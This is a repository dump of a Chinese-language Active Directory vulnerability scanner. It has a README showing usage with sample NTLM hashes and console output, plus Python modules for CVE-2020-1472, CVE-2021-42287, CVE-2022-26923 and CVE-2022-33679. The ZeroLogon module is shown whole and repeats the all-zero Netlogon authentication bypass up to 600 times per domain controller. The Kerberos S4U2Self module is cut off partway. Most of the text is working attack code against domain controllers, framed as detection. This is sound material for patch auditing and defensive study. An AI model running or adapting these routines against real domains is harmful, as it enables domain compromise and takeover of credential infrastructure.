├── .gitignore ├── README.MD ├── exploits ├── __init__.py ├── cve_2020_1472.py ├── cve_2021_42287.py ├── cve_2022_26923.py └── cve_2022_33679.py ├── lib ├── __init__.py ├── runner.py └── utils.py ├── main.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | /.idea/.gitignore 2 | /.idea/advul.iml 3 | /.idea/misc.xml 4 | /.idea/modules.xml 5 | /.idea/inspectionProfiles/profiles_settings.xml 6 | /.idea/inspectionProfiles/Project_Default.xml 7 | /.idea/vcs.xml 8 | *.pyc 9 | -------------------------------------------------------------------------------- /README.MD: -------------------------------------------------------------------------------- 1 | # AD高危漏洞扫描/利用工具 2 | 3 | 4 |   AD高危漏洞扫描/利用工具, 对AD高危漏洞进行快速批量检测。 5 | 6 | ## 模式 7 | ### 单机检测 8 | 9 |   未指定批量检测相关参数时, 默认使用该模式。 10 | 11 | ### 批量检测 12 |   当指定相关参数时(-all-dc/-tf), 启用批量检测模式, 在该模式下, 未指定目标ip文件时, 将通过dns解析域名获取所有域控ip, 并进行批量探测, 若指定ip列表文件, 则只对指定的ip列表进行扫描。 13 | 14 | ## 导航 15 | 16 | - [CVE-2020-1472](#cve-2020-1472) 17 | - [CVE-2021-42287](#cve-2021-42287) 18 | - [CVE-2022-26923](#cve-2022-26923) 19 | - [CVE-2022-33679](#cve-2022-33679) 20 | 21 | ## 使用 22 | ```text 23 | PS C:\> python.exe advul/main.py 24 | usage: main.py [-h] [-ts] [-debug] [-dc-ip ip address] [-target-ip ip address] 25 | [-target dns/ip address] [-ns nameserver] [-dns-tcp] 26 | [-timeout seconds] [-u username@domain] [-p password] 27 | [-hashes [LMHASH:]NTHASH] [-k] [-sspi] [-aes hex key] 28 | [-no-pass] [-all-dc] [-tf target file] [--threads threads] 29 | [-ntlm-method {rpc,smb}] [-ldap-scheme {ldap,ldaps}] 30 | {33679,26923,42287,zerologon} 31 | 32 | Active Directory Vulnerability Scanner 33 | 34 | positional arguments: 35 | {33679,26923,42287,zerologon} 36 | modules 37 | 38 | options: 39 | -h, --help Show this help message and exit 40 | -ts adds timestamp to every logging output 41 | -debug Turn DEBUG output ON 42 | 43 | connection options: 44 | -dc-ip ip address IP Address of the domain controller. If omitted it 45 | will use the domain part (FQDN) specified in the 46 | target parameter 47 | -target-ip ip address 48 | IP Address of the target machine. If omitted it will 49 | use whatever was specified as target. This is useful 50 | when target is the NetBIOS name and you cannot resolve 51 | it 52 | -target dns/ip address 53 | DNS Name or IP Address of the target machine. Required 54 | for Kerberos or SSPI authentication 55 | -ns nameserver Nameserver for DNS resolution 56 | -dns-tcp Use TCP instead of UDP for DNS queries 57 | -timeout seconds Timeout for connections 58 | 59 | authentication options: 60 | -u username@domain, -username username@domain 61 | Username. Format: username@domain 62 | -p password, -password password 63 | Password 64 | -hashes [LMHASH:]NTHASH 65 | NTLM hash, format is [LMHASH:]NTHASH 66 | -k Use Kerberos authentication. Grabs credentials from 67 | ccache file (KRB5CCNAME) based on target parameters. 68 | If valid credentials cannot be found, it will use the 69 | ones specified in the command line 70 | -sspi Use Windows Integrated Authentication (SSPI) 71 | -aes hex key AES key to use for Kerberos Authentication (128 or 256 72 | bits) 73 | -no-pass Don't ask for password (useful for -k and -sspi) 74 | 75 | multi targets options: 76 | -all-dc attack all dcs 77 | -tf target file path to targets file 78 | --threads threads number of worker threads 79 | 80 | ntlm info options: 81 | -ntlm-method {rpc,smb} 82 | method for ntlm info detection 83 | 84 | ldap connection options: 85 | -ldap-scheme {ldap,ldaps} 86 | method for ntlm info detection 87 | ``` 88 | ## CVE-2020-1472 89 |   理论上检测zerologon只需要知道目标ip即可,工具在仅有目标ip时,利用ntlminfo获取目标主机名,再通过常规手段进行zerologon漏洞探测。 90 | ### 使用示例 91 | 92 | #### 扫描单个目标 93 | ```text 94 | PS C:\> python.exe advul/main.py -ts -dc-ip 192.168.31.110 zerologon 95 | 96 | [2023-07-16 03:58:15] [-] Username is not specified 97 | [2023-07-16 03:58:15] [*] checking target 192.168.31.110... 98 | [2023-07-16 03:58:17] [*] [192.168.31.110] is vulnerable to zero logon!!! 99 | ``` 100 | #### 扫描单个目标(指定参数) 101 | ```text 102 | PS C:\> python.exe advul/main.py -ts -dc-ip 192.168.31.110 -auth-method 2 -target-name DC01 zerologon 103 | 104 | [2023-07-16 04:01:16] [-] Username is not specified 105 | [2023-07-16 04:01:16] [*] checking target 192.168.31.110... 106 | [2023-07-16 04:01:16] [*] [192.168.31.110] is vulnerable to zero logon!!! 107 | ``` 108 | 109 | #### 批量扫 110 | ```text 111 | PS C:\> python.exe advul/main.py -ts -all-dc -dc-ip 192.168.31.110 zerologon 112 | 113 | [2023-07-16 04:02:59] [-] Username is not specified 114 | [2023-07-16 04:02:59] [*] checking target 192.168.31.111... 115 | [2023-07-16 04:02:59] [*] checking target 192.168.31.110... 116 | [2023-07-16 04:03:02] [*] [192.168.31.111] might not vulnerable:< 117 | [2023-07-16 04:03:03] [*] [192.168.31.110] is vulnerable to zero logon!!! 118 | 119 | 120 | ``` 121 | 122 | ## CVE-2021-42287 123 |   使用域内任意用户凭据进行Kerberos认证, 向目标域控申请S4U2Self票据并遍历Pac属性, 通过ulType=0x10类型Pac的存在可以判断目标域控是否安装更新补丁。 124 | ### 使用示例 125 | 126 | #### 扫描单个目标 127 | ```text 128 | PS C:\> python.exe advul/main.py -u JDCA$@jd.local -hashes 48f925772624af82147e750a45b912a8 -dc-ip 192.168.31.110 42287 129 | 130 | [*] [192.168.31.110] is vulnerable to 42287!!!! 131 | ``` 132 | 133 | #### 批量扫描 134 | ```text 135 | PS C:\> python.exe advul/main.py -ts -all-dc -u JDCA$@jd.local -hashes 48f925772624af82147e750a45b912a8 -dc-ip 192.168.31.110 42287 136 | 137 | [2023-07-15 02:52:28] [*] [192.168.31.111] is patched :< 138 | [2023-07-15 02:52:28] [*] [192.168.31.110] is vulnerable to 42287!!!! 139 | ``` 140 | 141 | ## CVE-2022-26923 142 |   利用域内机器用户凭据登录目标域控Ldap服务, 对该域控Ldap数据库中自身的dnsHostName属性进行修改, 若修改成功, 说明未安装补丁, 若提示约束冲突说明已安装补丁。 143 | ### 使用示例 144 | 145 | #### 扫描单个目标 146 | ```text 147 | PS C:\> python.exe advul/main.py -u JDCA$ -hashes 48f925772624af82147e750a45b912a8 -dc-ip 192.168.31.110 26923 148 | 149 | [*] [192.168.31.110] success, target is vulnerable!!! 150 | ``` 151 | #### 批量扫描 152 | ```text 153 | PS C:\> python.exe advul/main.py -ts -all-dc -u JDCA$@jd.local -hashes 48f925772624af82147e750a45b912a8 -dc-ip 192.168.31.110 26923 154 | 155 | [2023-07-15 02:59:48] [*] [192.168.31.110] success, target is vulnerable!!! 156 | [2023-07-15 02:59:48] [*] [192.168.31.111] constraintViolation, target is not vulnerable :< 157 | ``` 158 | 159 | ## CVE-2022-33679 160 |   向目标域控发起Kerberos预认证, 将加密方式设置为RC4-MD4(-128), 若返回KDC_ERR_ETYPE_NOSUPP(14)说明已安装更新补丁, 若返回KDC_ERR_PREAUTH_REQUIRED(25), 说明存在漏洞。 161 | 162 | ### 使用示例 163 | 164 | #### 扫描单个目标 165 | ```text 166 | PS C:\> python.exe advul/main.py -ts -dc-ip 192.168.31.110 -u mayun@jd.local 33679 167 | 168 | [2023-07-15 03:05:49] [*] [192.168.31.110] has 33679 169 | ``` 170 | 171 | #### 批量扫描 172 | ```text 173 | PS C:\> python.exe advul/main.py -ts -tf dcs.txt -dc-ip 192.168.31.110 -u mayun@jd.local 33679 174 | 175 | [2023-07-15 03:04:24] [*] [192.168.31.110] has 33679 176 | [2023-07-15 03:04:24] [*] [192.168.31.111] is not vuln 177 | ``` 178 | -------------------------------------------------------------------------------- /exploits/__init__.py: -------------------------------------------------------------------------------- 1 | from .cve_2022_33679 import CVE202233679 2 | from .cve_2022_26923 import CVE202226923 3 | from .cve_2021_42287 import CVE202142287 4 | from .cve_2020_1472 import CVE20201472 5 | 6 | # 这里注册各个模块的实现类 7 | 8 | ALL_EXPLOITS = { 9 | '33679': CVE202233679, 10 | '26923': CVE202226923, 11 | '42287': CVE202142287, 12 | 'zerologon' : CVE20201472, 13 | } -------------------------------------------------------------------------------- /exploits/cve_2020_1472.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import logging 3 | import sys 4 | 5 | from certipy.lib.target import Target 6 | from impacket import ntlm 7 | from impacket.dcerpc.v5 import nrpc, epm 8 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY 9 | from impacket.dcerpc.v5.transport import DCERPCTransportFactory 10 | 11 | from lib import Runner 12 | from lib.utils import ntlm_info 13 | 14 | str_binding_map = { 15 | 'smb': f'ncacn_np:%s[\\PIPE\\netlogon]', 16 | 'tcp': '', 17 | } 18 | 19 | rpc_method_map = { 20 | # 1: nrpc.hNetrServerAuthenticate, 21 | # mimikatz用这个 22 | 2: nrpc.hNetrServerAuthenticate2, 23 | # cve-2020-1472-exploit.py、set_empty_pw.py、zerologon.py都用这个 24 | 3: nrpc.hNetrServerAuthenticate3, 25 | } 26 | 27 | default_params = { 28 | 'target_name': None, 29 | # 默认走tcp,应该鞥提高一点效率,如果rpc端口不通的话可以试试smb 30 | 'rpc_transport': 'tcp', 31 | # 默认rpc方法为 hNetrServerAuthenticate3 32 | 'auth_method': 3, 33 | # 根据大佬们研究,尝试次数为200次时,漏报概率为0.04%,这里默认设置为600次,对域控应该不会有影响吧。 34 | 'max_attempts': 600 35 | } 36 | 37 | 38 | def add_add_argument_group(parser: argparse.ArgumentParser): 39 | group = parser.add_argument_group('zerologon options') 40 | group.add_argument('-target-name', help='目标域控机器名') 41 | group.add_argument('-rpc-transport', choices=str_binding_map.keys(), help='rpc transport for zerologon test') 42 | group.add_argument('-auth-method', choices=rpc_method_map.keys(), help='rpc method', type=int) 43 | group.add_argument('-max-attempts', help='zerologon测试最大尝试次数', type=int) 44 | 45 | 46 | def zerologon(target_ip, target_name, rpc_transport, auth_method, max_attempts): 47 | # 默认会自动获取机器名,当然也可以指定机器名 48 | # 默认使用rpc over tcp, rpc函数使用NetrServerAuthenticate3 49 | if target_name is None: 50 | target_info = ntlm_info(target_ip) 51 | target_name = target_info[ntlm.NTLMSSP_AV_HOSTNAME] 52 | 53 | # 防止输错机器名 54 | target_name = target_name.rstrip('$') 55 | if rpc_transport == 'tcp': 56 | str_binding = epm.hept_map(target_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') 57 | else: 58 | str_binding = str_binding_map[rpc_transport] % target_ip 59 | logging.debug({'target name': target_name, 'rpc binding': str_binding}) 60 | dce = DCERPCTransportFactory(str_binding).get_dce_rpc() 61 | # rpc流量加密 62 | dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 63 | dce.connect() 64 | dce.bind(nrpc.MSRPC_UUID_NRPC) 65 | 66 | # Use an all-zero challenge and credential. 67 | plaintext = b'\x00' * 8 68 | ciphertext = b'\x00' * 8 69 | 70 | # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. 71 | flags = 0x212fffff 72 | 73 | primary_name = f'\\\\{target_name}\x00' 74 | # 这个参数随便填 75 | computer_name = f'BTEAM-PC\x00' 76 | # 这个参数必须是域控的samAccountName,名称和ip可以不对应 77 | account_name = f'{target_name}$\x00' 78 | logging.info(f'checking target {target_ip}...') 79 | is_vulnerable = False 80 | counts = 0 81 | for _ in range(max_attempts): 82 | counts += 1 83 | params = { 84 | 'dce': dce, 85 | 'primaryName': primary_name, 86 | 'computerName': computer_name, 87 | 'clientChallenge': plaintext 88 | } 89 | nrpc.hNetrServerReqChallenge(**params) 90 | 91 | params = { 92 | 'dce': dce, 93 | 'primaryName': primary_name, 94 | 'accountName': account_name, 95 | 'secureChannelType': nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, 96 | 'computerName': computer_name, 97 | 'clientCredential': ciphertext, 98 | 'negotiateFlags': flags 99 | } 100 | try: 101 | server_auth = rpc_method_map[auth_method](**params) 102 | 103 | # It worked! 104 | assert server_auth['ErrorCode'] == 0 105 | is_vulnerable = True 106 | break 107 | 108 | except nrpc.DCERPCSessionError as ex: 109 | # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. 110 | if ex.get_error_code() == 0xc0000022: 111 | continue 112 | else: 113 | logging.debug(f'Unexpected error code from DC: {ex}.') 114 | except BaseException as ex: 115 | print(f'Unexpected error: {ex}.') 116 | if is_vulnerable: 117 | logging.info(f'[{target_ip}] is vulnerable to zero logon!!! try counts: {counts}') 118 | else: 119 | logging.info(f'[{target_ip}] might not vulnerable:<') 120 | 121 | 122 | class CVE20201472(Runner): 123 | def __init__(self, target: Target, opts): 124 | super().__init__(target, required_params=['dc_ip']) 125 | self._target = target 126 | self._opts = opts 127 | 128 | def run(self, target_ip=None): 129 | if target_ip is None: 130 | target_ip = self._target.dc_ip 131 | user_pots = {} 132 | [ 133 | user_pots.update( 134 | {it: getattr(self._opts, it)} 135 | ) 136 | for it in default_params.keys() 137 | if getattr(self._opts, it) 138 | ] 139 | default_params.update(user_pots) 140 | zerologon(target_ip, **default_params) 141 | -------------------------------------------------------------------------------- /exploits/cve_2021_42287.py: -------------------------------------------------------------------------------- 1 | import datetime 2 | import logging 3 | import struct 4 | from binascii import unhexlify 5 | import random 6 | 7 | from certipy.lib.target import Target 8 | from impacket.krb5 import constants 9 | from impacket.krb5.asn1 import AS_REP, AP_REQ, seq_set, Authenticator, \ 10 | TGS_REQ, PA_FOR_USER_ENC, Ticket as TicketAsn1, seq_set_iter, TGS_REP, EncTicketPart, AD_IF_RELEVANT 11 | from impacket.krb5.crypto import _HMACMD5, Key, Enctype, _enctype_table 12 | from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive 13 | from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER 14 | from impacket.krb5.types import Principal, KerberosTime, Ticket 15 | from pyasn1.codec.der import decoder, encoder 16 | from pyasn1.type.univ import noValue 17 | 18 | from lib.runner import Runner 19 | 20 | 21 | def get_pac(target: Target, kdc=None) -> bytes: 22 | userName = Principal(target.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 23 | tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, target.password, target.domain, 24 | unhexlify(target.lmhash), unhexlify(target.nthash), '', 25 | kdc) 26 | decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] 27 | 28 | # Extract the ticket from the TGT 29 | ticket = Ticket() 30 | ticket.from_asn1(decodedTGT['ticket']) 31 | 32 | apReq = AP_REQ() 33 | apReq['pvno'] = 5 34 | apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) 35 | 36 | opts = list() 37 | apReq['ap-options'] = constants.encodeFlags(opts) 38 | seq_set(apReq, 'ticket', ticket.to_asn1) 39 | 40 | authenticator = Authenticator() 41 | authenticator['authenticator-vno'] = 5 42 | authenticator['crealm'] = str(decodedTGT['crealm']) 43 | 44 | clientName = Principal() 45 | clientName.from_asn1(decodedTGT, 'crealm', 'cname') 46 | 47 | seq_set(authenticator, 'cname', clientName.components_to_asn1) 48 | 49 | now = datetime.datetime.utcnow() 50 | authenticator['cusec'] = now.microsecond 51 | authenticator['ctime'] = KerberosTime.to_asn1(now) 52 | 53 | if logging.getLogger().level == logging.DEBUG: 54 | logging.debug('AUTHENTICATOR') 55 | print(authenticator.prettyPrint()) 56 | print('\n') 57 | encodedAuthenticator = encoder.encode(authenticator) 58 | 59 | # Key Usage 7 60 | # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes 61 | # TGS authenticator subkey), encrypted with the TGS session 62 | # key (Section 5.5.1) 63 | encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) 64 | 65 | apReq['authenticator'] = noValue 66 | apReq['authenticator']['etype'] = cipher.enctype 67 | apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator 68 | 69 | encodedApReq = encoder.encode(apReq) 70 | 71 | tgsReq = TGS_REQ() 72 | 73 | tgsReq['pvno'] = 5 74 | tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) 75 | 76 | tgsReq['padata'] = noValue 77 | tgsReq['padata'][0] = noValue 78 | tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) 79 | tgsReq['padata'][0]['padata-value'] = encodedApReq 80 | 81 | # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service 82 | # requests a service ticket to itself on behalf of a user. The user is 83 | # identified to the KDC by the user's name and realm. 84 | clientName = Principal(target.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 85 | 86 | S4UByteArray = struct.pack('